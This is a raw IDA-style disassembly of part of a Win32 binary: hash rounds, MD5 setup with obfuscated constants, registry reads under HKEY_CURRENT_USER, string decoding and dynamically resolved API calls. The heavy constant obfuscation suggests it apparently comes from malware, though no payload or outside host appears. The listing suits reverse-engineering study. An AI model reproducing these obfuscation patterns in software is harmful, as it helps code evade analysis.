var_9C = dword ptr -9Ch
var_5C = dword ptr -5Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
mov edx, [eax+4]
mov [ebp+var_8], edx
mov eax, [eax+0Ch]
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_C], eax
lea edi, [ebp+var_11C]
lea esi, dword_551360
mov ecx, 10h
rep movsd
lea edi, [ebp+var_5C]
lea esi, dword_5513A0
mov ecx, 10h
rep movsd
lea edi, [ebp+var_9C]
lea esi, dword_5513E0
mov ecx, 10h
rep movsd
lea edi, [ebp+var_DC]
lea esi, dword_551420
mov ecx, 10h
rep movsd
mov eax, dword_551174
mov ebx, eax
add ebx, eax
sub ebx, 0Eh
jmp loc_441206
; ---------------------------------------------------------------------------
loc_4410D5: ; CODE XREF: sub_441052+1C0j
mov edi, ebx
shl edi, 2
push [ebp+edi+var_11C]
mov edi, dword_55118C
add edi, 6
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
call sub_43DA46
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_5511F8
inc eax
cmp ebx, eax
jz short loc_44115A
mov edi, ebx
add edi, dword_551224
push [ebp+edi*4+var_11C]
movsx edi, word_551190
add edi, dword_5510B0
dec edi
push edi
mov edi, dword_5511F4
sub edi, 8
mov esi, ebx
add esi, edi
mov edi, [ebp+arg_4]
push dword ptr [edi+esi*4]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_43DA46
add esp, 1Ch
mov [ebp+var_10], eax
loc_44115A: ; CODE XREF: sub_441052+BEj
mov edi, dword_551168
movsx esi, word_551148
add edi, esi
dec edi
mov esi, ebx
add esi, edi
push [ebp+esi*4+var_11C]
movsx edi, word_5510D0
add edi, 0Bh
push edi
movsx edi, word_5511CC
sub edi, 7
mov esi, ebx
add esi, edi
mov edi, [ebp+arg_4]
push dword ptr [edi+esi*4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
call sub_43DA46
mov [ebp+var_4], eax
movsx edi, word_551210
add edi, dword_5511F8
sub edi, 5
mov esi, ebx
add esi, edi
push [ebp+esi*4+var_11C]
mov edi, dword_5511BC
add edi, 10h
push edi
movsx edi, word_551198
add edi, 2
mov esi, ebx
add esi, edi
mov edi, [ebp+arg_4]
push dword ptr [edi+esi*4]
push [ebp+var_C]
push [ebp+var_10]
push eax
push [ebp+var_8]
call sub_43DA46
add esp, 38h
mov [ebp+var_8], eax
mov eax, dword_551160
add eax, dword_551154
sub eax, 0Bh
add ebx, eax
loc_441206: ; CODE XREF: sub_441052+7Ej
movsx eax, word_551164
add eax, 0Bh
cmp ebx, eax
jbe loc_4410D5
mov eax, dword_551154
mov ebx, eax
add ebx, dword_55115C
sub ebx, 0Bh
mov eax, dword_551100
movsx edx, word_5510FC
add eax, edx
sub eax, 0Bh
mov [ebp+var_14], eax
jmp loc_4413DA
; ---------------------------------------------------------------------------
loc_441241: ; CODE XREF: sub_441052+393j
mov edi, [ebp+var_14]
push [ebp+edi*4+var_5C]
mov edi, dword_551178
sub edi, 4
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
call sub_43DAED
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_55124C
sub eax, 4
add ebx, eax
mov eax, dword_551204
add eax, 0Eh
cmp ebx, eax
jb short loc_44128F
mov eax, dword_5511B4
add eax, 0Ch
sub ebx, eax
loc_44128F: ; CODE XREF: sub_441052+231j
mov edi, [ebp+var_14]
mov esi, dword_5510DC
sub esi, 3
add edi, esi
push [ebp+edi*4+var_5C]
mov edi, dword_551174
movsx esi, word_551240
add edi, esi
sub edi, 6
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_43DAED
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, dword_5510D4
add eax, dword_5510E4
sub eax, 5
add ebx, eax
mov eax, dword_5510E4
add eax, 4
add eax, dword_551174
cmp ebx, eax
jb short loc_4412FD
mov eax, dword_5511B4
add eax, 0Ch
sub ebx, eax
loc_4412FD: ; CODE XREF: sub_441052+29Fj
mov edi, [ebp+var_14]
movsx esi, word_551210
add esi, dword_551200
sub esi, 8
add edi, esi
push [ebp+edi*4+var_5C]
mov edi, dword_55118C
add edi, 9
add edi, dword_5511E4
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
call sub_43DAED
add esp, 1Ch
mov [ebp+var_4], eax
mov eax, dword_551178
sub eax, 4
add ebx, eax
mov eax, dword_551238
add eax, 10h
cmp ebx, eax
jb short loc_441363
mov eax, dword_5510D8
add eax, 0Ah
sub ebx, eax
loc_441363: ; CODE XREF: sub_441052+305j
mov edi, [ebp+var_14]
mov esi, dword_551200
sub esi, 2
add edi, esi
push [ebp+edi*4+var_5C]
movsx edi, word_5510C4
add edi, 0Eh
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_43DAED
add esp, 1Ch
mov [ebp+var_8], eax
mov eax, dword_551100
sub eax, 4
add ebx, eax
movsx eax, word_551210
mov edx, dword_5511A0
lea eax, [eax+edx+3]
cmp ebx, eax
jb short loc_4413CF
mov eax, dword_551170
add eax, 8
movsx edx, word_551144
add eax, edx
sub ebx, eax
loc_4413CF: ; CODE XREF: sub_441052+368j
mov eax, dword_55118C
add eax, 3
add [ebp+var_14], eax
loc_4413DA: ; CODE XREF: sub_441052+1EAj
mov eax, dword_551224
add eax, 0Bh
cmp [ebp+var_14], eax
jbe loc_441241
mov ebx, dword_5510BC
add ebx, 5
movsx eax, word_551138
sub eax, 3
mov [ebp+var_18], eax
jmp loc_44159F
; ---------------------------------------------------------------------------
loc_441406: ; CODE XREF: sub_441052+55Aj
mov edi, [ebp+var_18]
push [ebp+edi*4+var_9C]
mov edi, dword_5510C8
add edi, 3
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
call sub_43ED8F
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_5510E0
sub eax, 3
add ebx, eax
mov eax, dword_551114
add eax, 0Fh
cmp ebx, eax
jb short loc_441459
movsx eax, word_5510C4
add eax, 0Ah
sub ebx, eax
loc_441459: ; CODE XREF: sub_441052+3F9j
mov edi, [ebp+var_18]
mov esi, dword_5510D4
sub esi, 4
add edi, esi
push [ebp+edi*4+var_9C]
mov edi, dword_551100
add edi, 2
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_43ED8F
add esp, 1Ch
mov [ebp+var_10], eax
movsx eax, word_551244
movsx edx, word_551104
add eax, edx
sub eax, 4
add ebx, eax
mov eax, dword_5510E4
add eax, 0Bh
cmp ebx, eax
jb short loc_4414C6
mov eax, dword_55123C
add eax, 0Fh
add eax, dword_551130
sub ebx, eax
loc_4414C6: ; CODE XREF: sub_441052+462j
mov edi, [ebp+var_18]
mov esi, dword_5511B4
sub esi, 2
add edi, esi
push [ebp+edi*4+var_9C]
mov edi, dword_5511E0
add edi, 0Ch
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
call sub_43ED8F
add esp, 1Ch
mov [ebp+var_4], eax
mov eax, dword_5511C0
add eax, 2
add ebx, eax
movsx eax, word_551144
add eax, 0Ch
cmp ebx, eax
jb short loc_441524
mov eax, dword_5511C8
add eax, 8
sub ebx, eax
loc_441524: ; CODE XREF: sub_441052+4C6j
mov edi, [ebp+var_18]
mov esi, dword_5511F4
movsx edx, word_551208
add esi, edx
sub esi, 7
add edi, esi
push [ebp+edi*4+var_9C]
mov edi, dword_551158
add edi, 12h
add edi, dword_551134
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_43ED8F
add esp, 1Ch
mov [ebp+var_8], eax
mov eax, dword_551230
add eax, 2
add ebx, eax
mov eax, dword_5511E0
add eax, 0Bh
add eax, dword_5510C8
cmp ebx, eax
jb short loc_441597
movsx eax, word_551190
add eax, 8
sub ebx, eax
loc_441597: ; CODE XREF: sub_441052+537j
mov eax, dword_551170
add [ebp+var_18], eax
loc_44159F: ; CODE XREF: sub_441052+3AFj
movsx eax, word_551138
add eax, 9
cmp [ebp+var_18], eax
jbe loc_441406
mov ebx, dword_5510A4
sub ebx, 7
mov eax, dword_5510E4
add eax, dword_551140
sub eax, 6
mov [ebp+var_1C], eax
jmp loc_441798
; ---------------------------------------------------------------------------
loc_4415D1: ; CODE XREF: sub_441052+751j
mov edi, [ebp+var_1C]
push [ebp+edi*4+var_DC]
mov edi, dword_551248
add edi, 2
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
call sub_43D370
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_5511C0
add eax, 6
add eax, dword_551238
add ebx, eax
mov eax, dword_5511C8
add eax, 8
cmp ebx, eax
jb short loc_441628
mov eax, dword_5510D8
add eax, 0Ah
sub ebx, eax
loc_441628: ; CODE XREF: sub_441052+5CAj
mov edi, [ebp+var_1C]
movsx esi, word_551104
add esi, dword_551110
sub esi, 8
add edi, esi
push [ebp+edi*4+var_DC]
mov edi, dword_551184
movsx esi, word_5511A4
add edi, esi
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_43D370
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, dword_55114C
add eax, 4
add eax, dword_551224
add ebx, eax
movsx eax, word_551194
mov edx, dword_5511C8
lea eax, [eax+edx+7]
cmp ebx, eax
jb short loc_4416A9
movsx eax, word_551164
mov edx, dword_551178
lea eax, [eax+edx+6]
sub ebx, eax
loc_4416A9: ; CODE XREF: sub_441052+642j
mov edi, [ebp+var_1C]
mov esi, dword_5510D8
sub esi, 4
add edi, esi
push [ebp+edi*4+var_DC]
mov edi, dword_5511D8
add edi, 6
add edi, dword_5510E4
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
call sub_43D370
add esp, 1Ch
mov [ebp+var_4], eax
mov eax, dword_551214
add eax, 4
add ebx, eax
mov eax, dword_5511C0
add eax, 0Fh
cmp ebx, eax
jb short loc_441714
mov eax, dword_5510E4
add eax, 5
movsx edx, word_5510C4
add eax, edx
sub ebx, eax
loc_441714: ; CODE XREF: sub_441052+6ADj
mov edi, [ebp+var_1C]
movsx esi, word_5510C4
sub esi, 3
add edi, esi
push [ebp+edi*4+var_DC]
mov edi, dword_55111C
add edi, 11h
add edi, dword_551168
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_43D370
add esp, 1Ch
mov [ebp+var_8], eax
movsx eax, word_551148
movsx edx, word_5510A8
lea eax, [eax+edx+6]
add ebx, eax
mov eax, dword_5511C0
add eax, 0Fh
add eax, dword_551180
cmp ebx, eax
jb short loc_441790
mov eax, dword_55121C
add eax, 9
movsx edx, word_551138
add eax, edx
sub ebx, eax
loc_441790: ; CODE XREF: sub_441052+729j
mov eax, dword_55115C
add [ebp+var_1C], eax
loc_441798: ; CODE XREF: sub_441052+57Aj
mov eax, dword_551154
add eax, 4
cmp [ebp+var_1C], eax
jbe loc_4415D1
mov edi, [ebp+arg_0]
mov esi, dword_5511F8
add esi, dword_5511A0
mov ebx, [edi+0Ch]
add ebx, [ebp+var_10]
mov [edi+esi*4-20h], ebx
movsx esi, word_551094
add esi, dword_551130
mov ebx, [edi]
add ebx, [ebp+var_C]
mov [edi+esi*4-0Ch], ebx
movsx esi, word_551240
add esi, dword_551200
mov ebx, [edi+8]
add ebx, [ebp+var_4]
mov [edi+esi*4-2Ch], ebx
mov esi, dword_55118C
mov ebx, [edi+4]
add ebx, [ebp+var_8]
mov [edi+esi*4], ebx
pop edi
pop esi
pop ebx
leave
retn
sub_441052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441803 proc near ; DATA XREF: .data:005512ACo
push ebp
mov ebp, esp
push offset dword_54FB14
call ds:dword_48B9F8
mov eax, ds:dword_54FB14
pop ebp
retn 4
sub_441803 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44181A proc near ; CODE XREF: sub_440364+32Dp
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_303 = byte ptr -303h
var_20D = byte ptr -20Dh
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_FF = byte ptr -0FFh
var_FD = byte ptr -0FDh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 318h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov edi, dword_551140
dec edi
jmp loc_441A63
; ---------------------------------------------------------------------------
loc_441838: ; CODE XREF: sub_44181A+253j
push offset word_551DFA
call sub_43CAF7
push edi
push eax
lea edx, [ebp+var_303]
push edx
call ds:dword_50E928
mov eax, dword_551188
add eax, 0FAh
add eax, dword_55118C
mov [ebp+var_204], eax
push offset dword_551DE8
call sub_43CAF7
lea edx, [ebp+var_314]
push edx
lea edx, [ebp+var_204]
push edx
lea edx, [ebp+var_FF]
push edx
push eax
lea edx, [ebp+var_303]
push edx
push 80000001h
call sub_442B18
add esp, 2Ch
mov [ebp+var_310], eax
test eax, eax
jz loc_441A62
lea eax, [ebp+var_1FE]
push eax
lea eax, [ebp+var_FD]
push eax
call sub_43DBFE
mov eax, dword_5510E0
add eax, dword_551200
sub eax, 0Ah
push eax
lea eax, [ebp+var_1FE]
push eax
push ebx
call sub_43FE22
add esp, 14h
mov edx, dword_55116C
add edx, 0FFFAh
cmp eax, edx
jz loc_441A62
push offset word_551D8A
call sub_43CAF7
pop ecx
push eax
lea edx, [ebp+var_FF]
push edx
call sub_4475D4
mov eax, dword_551184
add eax, dword_551160
sub eax, 0Bh
mov [ebp+var_30C], eax
mov eax, dword_5511F4
sub eax, 9
mov [ebp+var_308], eax
jmp short loc_441960
; ---------------------------------------------------------------------------
loc_44192B: ; CODE XREF: sub_44181A+150j
mov eax, [ebp+var_308]
cmp [ebp+eax+var_FF], 23h
jnz short loc_44195A
mov eax, [ebp+var_308]
mov edx, dword_551110
movsx ecx, word_55109C
add edx, ecx
sub edx, 0Fh
mov [ebp+eax+var_FF], dl
loc_44195A: ; CODE XREF: sub_44181A+11Fj
inc [ebp+var_308]
loc_441960: ; CODE XREF: sub_44181A+10Fj
cmp [ebp+var_308], 0FFh
jb short loc_44192B
loc_44196C: ; CODE XREF: sub_44181A+242j
mov eax, dword_5510E8
add eax, 0FBh
add eax, dword_5510DC
mov [ebp+var_204], eax
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_1FE]
push eax
mov eax, [ebp+var_30C]
lea eax, [ebp+eax+var_FF]
push eax
lea eax, [ebp+var_303]
push eax
push 80000001h
call sub_442B18
add esp, 18h
mov [ebp+var_310], eax
test eax, eax
jnz short loc_4419E3
movsx eax, word_5511E8
movsx edx, word_551190
add eax, edx
mov edx, dword_551134
sub edx, 2
mov [ebp+eax+var_20D], dl
loc_4419E3: ; CODE XREF: sub_44181A+1A7j
mov eax, [ebp+var_30C]
mov [ebp+var_318], eax
lea ecx, [ebp+eax+var_FF]
or eax, 0FFFFFFFFh
loc_4419F9: ; CODE XREF: sub_44181A+1E4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4419F9
mov ecx, [ebp+var_318]
add ecx, eax
mov [ebp+var_30C], ecx
lea eax, [ebp+var_1FE]
push eax
push esi
call ds:dword_44802C
add esp, 8
push offset byte_551D85
call sub_43CAF7
add esp, 4
push eax
push esi
call ds:dword_44802C
add esp, 8
inc [ebp+var_30C]
mov eax, [ebp+var_30C]
movzx eax, [ebp+eax+var_FF]
mov edx, dword_551158
add edx, dword_5511BC
sub edx, 9
cmp eax, edx
jnz loc_44196C
loc_441A62: ; CODE XREF: sub_44181A+89j
; sub_44181A+CFj
inc edi
loc_441A63: ; CODE XREF: sub_44181A+19j
mov eax, dword_551110
add eax, 15h
cmp edi, eax
jb loc_441838
pop edi
pop esi
pop ebx
leave
retn
sub_44181A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441A78 proc near ; DATA XREF: .data:005512B0o
push ebp
mov ebp, esp
movsx eax, word_551208
dec eax
cmp ds:dword_54FB14, eax
jbe short loc_441A96
push offset dword_54FB14
call ds:dword_448014
loc_441A96: ; CODE XREF: sub_441A78+11j
mov eax, ds:dword_54FB14
pop ebp
retn 4
sub_441A78 endp
; =============== S U B R O U T I N E =======================================
sub_441A9F proc near ; CODE XREF: sub_43D3AD+83p
arg_0 = dword ptr 4
push ebx
push esi
mov ecx, [esp+8+arg_0]
mov esi, dword_551214
mov ebx, dword_5510D8
add ebx, 0EFCDAB82h
movsx edx, word_5510CC
add ebx, edx
mov [ecx+esi*4-8], ebx
movsx esi, word_551138
mov ebx, dword_551160
add ebx, 1032546Fh
mov [ecx+esi*4], ebx
movsx esi, word_5511C4
add esi, dword_551100
mov ebx, dword_551150
add ebx, 98BADCF4h
add ebx, dword_5511BC
mov [ecx+esi*4-3Ch], ebx
mov esi, dword_551110
movsx ebx, word_551148
add ebx, 67452300h
mov [ecx+esi*4-24h], ebx
pop esi
pop ebx
retn
sub_441A9F endp
; =============== S U B R O U T I N E =======================================
sub_441B17 proc near ; CODE XREF: sub_446ED7+2Fp
push edi
push offset word_551D7A
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_55126C, eax
mov eax, dword_55110C
movsx edx, word_551128
add eax, edx
sub eax, 7
cmp dword_55126C, eax
jnz short loc_441B5F
push offset asc_551D6F ; "\a"
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_55126C, eax
loc_441B5F: ; CODE XREF: sub_441B17+2Fj
movsx eax, word_551128
sub eax, 5
cmp dword_55126C, eax
jz short loc_441B8E
push offset byte_551D59
call sub_43CAF7
pop ecx
push eax
push dword_55126C
call ds:dword_44B1AC
mov ds:dword_44B5B4, eax
loc_441B8E: ; CODE XREF: sub_441B17+58j
pop edi
retn
sub_441B17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441B90 proc near ; CODE XREF: sub_43D0C6+8Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, ebx
shr edi, 4
mov eax, edi
mov ecx, dword_551174
add ecx, 9
mul ecx
mov [ebp+var_4], eax
mov esi, ebx
sub esi, eax
movsx ebx, word_551104
inc ebx
mov ecx, esi
mov esi, ebx
shl esi, cl
mov ebx, [ebp+arg_0]
movzx ebx, word ptr [ebx+edi*2]
mov edi, ebx
and edi, esi
cmp edi, esi
jnz short loc_441BE4
movsx eax, word_551144
mov edi, eax
add edi, dword_551098
sub edi, 0Ch
jmp short loc_441BF6
; ---------------------------------------------------------------------------
loc_441BE4: ; CODE XREF: sub_441B90+3Ej
movsx eax, word_5510F8
mov edi, eax
add edi, dword_551140
sub edi, 6
loc_441BF6: ; CODE XREF: sub_441B90+52j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_441B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441BFD proc near ; CODE XREF: sub_43F41A+16Fp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_4457E1
add esp, 8
mov esi, eax
movsx eax, word_551194
dec eax
cmp esi, eax
jnz short loc_441C2A
xor eax, eax
jmp loc_441CD3
; ---------------------------------------------------------------------------
loc_441C2A: ; CODE XREF: sub_441BFD+24j
mov eax, dword_5511A0
mov edi, eax
add edi, dword_5511E0
sub edi, 8
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_441C42: ; CODE XREF: sub_441BFD+4Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_441C42
mov [ebp+var_8], eax
loc_441C4C: ; CODE XREF: sub_441BFD+CBj
lea ecx, [esi+edi]
or eax, 0FFFFFFFFh
loc_441C52: ; CODE XREF: sub_441BFD+5Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_441C52
mov ebx, eax
sub ebx, [ebp+arg_8]
cmp ebx, [ebp+var_8]
jnz short loc_441CB2
mov [ebp+var_10], 1
movsx eax, word_551128
sub eax, 5
mov [ebp+var_C], eax
jmp short loc_441C9B
; ---------------------------------------------------------------------------
loc_441C79: ; CODE XREF: sub_441BFD+A1j
mov eax, [ebp+var_C]
mov edx, edi
add edx, eax
add edx, [ebp+arg_8]
movzx edx, byte ptr [esi+edx]
mov ecx, [ebp+arg_4]
movsx eax, byte ptr [ecx+eax]
cmp edx, eax
jz short loc_441C98
and [ebp+var_10], 0
jmp short loc_441CA0
; ---------------------------------------------------------------------------
loc_441C98: ; CODE XREF: sub_441BFD+93j
inc [ebp+var_C]
loc_441C9B: ; CODE XREF: sub_441BFD+7Aj
cmp [ebp+var_C], ebx
jb short loc_441C79
loc_441CA0: ; CODE XREF: sub_441BFD+99j
cmp [ebp+var_10], 0
jz short loc_441CB2
push esi
call ds:dword_44B5CC
xor eax, eax
inc eax
jmp short loc_441CD3
; ---------------------------------------------------------------------------
loc_441CB2: ; CODE XREF: sub_441BFD+64j
; sub_441BFD+A7j
add edi, [ebp+arg_8]
mov eax, dword_551238
inc eax
add eax, dword_55120C
add edi, eax
add edi, ebx
cmp edi, [ebp+var_4]
jb short loc_441C4C
push esi
call ds:dword_44B5CC
xor eax, eax
loc_441CD3: ; CODE XREF: sub_441BFD+28j
; sub_441BFD+B3j
pop edi
pop esi
pop ebx
leave
retn
sub_441BFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441CD8 proc near ; CODE XREF: sub_43B5D8+39Ap
; sub_43B5D8+493p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov edi, dword_5511AC
sub edi, 2
cmp edx, edi
jnz short loc_441CFC
mov eax, [ebp+arg_0]
jmp short loc_441D16
; ---------------------------------------------------------------------------
loc_441CFC: ; CODE XREF: sub_441CD8+1Dj
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov [ebp+var_8], eax
mov edi, eax
mul esi
mov [ebp+var_C], eax
mov edi, eax
add edi, esi
mov [ebp+var_4], edi
mov eax, edi
loc_441D16: ; CODE XREF: sub_441CD8+22j
pop edi
pop esi
leave
retn
sub_441CD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441D1A proc near ; DATA XREF: sub_43A324+1017o
; sub_43A324+1067o ...
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_219 = byte ptr -219h
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_108 = byte ptr -108h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 230h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov eax, ebx
cmp eax, 100h
jz short loc_441D4B
jl loc_442306
cmp eax, 111h
jz loc_441DE6
jmp loc_442306
; ---------------------------------------------------------------------------
loc_441D4B: ; CODE XREF: sub_441D1A+19j
cmp [ebp+arg_8], 9
jnz loc_442306
movsx edi, word_551240
sub edi, 8
jmp short loc_441DCC
; ---------------------------------------------------------------------------
loc_441D61: ; CODE XREF: sub_441D1A+C5j
mov eax, 30h
mul edi
mov [ebp+var_208], eax
cmp ds:dword_4CC564[eax], esi
jnz short loc_441D96
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_4CC568[eax]
call ds:dword_48B9FC
jmp loc_442306
; ---------------------------------------------------------------------------
loc_441D96: ; CODE XREF: sub_441D1A+5Bj
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
cmp ds:dword_4CC560[eax], esi
jnz short loc_441DCB
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_4CC564[eax]
call ds:dword_48B9FC
jmp loc_442306
; ---------------------------------------------------------------------------
loc_441DCB: ; CODE XREF: sub_441D1A+90j
inc edi
loc_441DCC: ; CODE XREF: sub_441D1A+45j
movsx eax, word_551210
mov edx, dword_5511BC
lea eax, [eax+edx+59h]
cmp edi, eax
jb short loc_441D61
jmp loc_442306
; ---------------------------------------------------------------------------
loc_441DE6: ; CODE XREF: sub_441D1A+26j
movsx eax, word_551128
mov edi, eax
add edi, dword_551174
sub edi, 0Ch
jmp short loc_441E14
; ---------------------------------------------------------------------------
loc_441DFA: ; CODE XREF: sub_441D1A+10Aj
mov eax, 30h
mul edi
mov [ebp+var_208], eax
mov eax, ds:dword_4CC56C[eax]
cmp [ebp+arg_C], eax
jz short loc_441E26
inc edi
loc_441E14: ; CODE XREF: sub_441D1A+DEj
mov eax, dword_551140
add eax, 63h
add eax, dword_551180
cmp edi, eax
jb short loc_441DFA
loc_441E26: ; CODE XREF: sub_441D1A+F7j
mov eax, dword_5511B0
add eax, 5Dh
cmp edi, eax
jz loc_442306
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_4CC558[eax]
call ds:dword_54FF38
movsx eax, word_5511A4
mov byte ptr [ebp+eax+var_20C+2], 4Bh
movsx eax, word_55113C
mov edx, dword_5511D8
sub edx, 4
mov byte ptr [ebp+eax+var_20C+1], dl
movsx eax, word_5511A8
add eax, dword_5510E8
mov [ebp+eax+var_204], 7Ch
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44802C
add esp, 8
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_4CC560[eax]
call ds:dword_54FF38
mov eax, dword_55120C
movsx edx, word_551194
add eax, edx
movsx eax, [ebp+eax+var_108]
mov edx, dword_5511C8
add edx, dword_55111C
sub edx, 0Ah
cmp eax, edx
jnz short loc_441F59
push offset word_551D36
call sub_43CAF7
pop ecx
movsx edx, word_551138
sub edx, 3
push edx
mov edx, dword_5511F4
add edx, dword_5510AC
sub edx, 10h
push edx
push eax
mov edx, dword_551140
add edx, dword_5510B8
sub edx, 5
push edx
call ds:dword_50E938
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_4CC560[eax]
call ds:dword_48B9FC
jmp loc_442306
; ---------------------------------------------------------------------------
loc_441F59: ; CODE XREF: sub_441D1A+1E1j
push offset byte_551D31
call sub_43CAF7
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_44802C
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44802C
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_4CC564[eax]
call ds:dword_54FF38
mov eax, dword_5510AC
movsx eax, [ebp+eax+var_10A]
mov edx, dword_551098
add edx, dword_5510C0
sub edx, 0Bh
cmp eax, edx
jnz short loc_442028
push offset byte_551D0F
call sub_43CAF7
pop ecx
mov edx, dword_551140
add edx, dword_5510C8
sub edx, 2
push edx
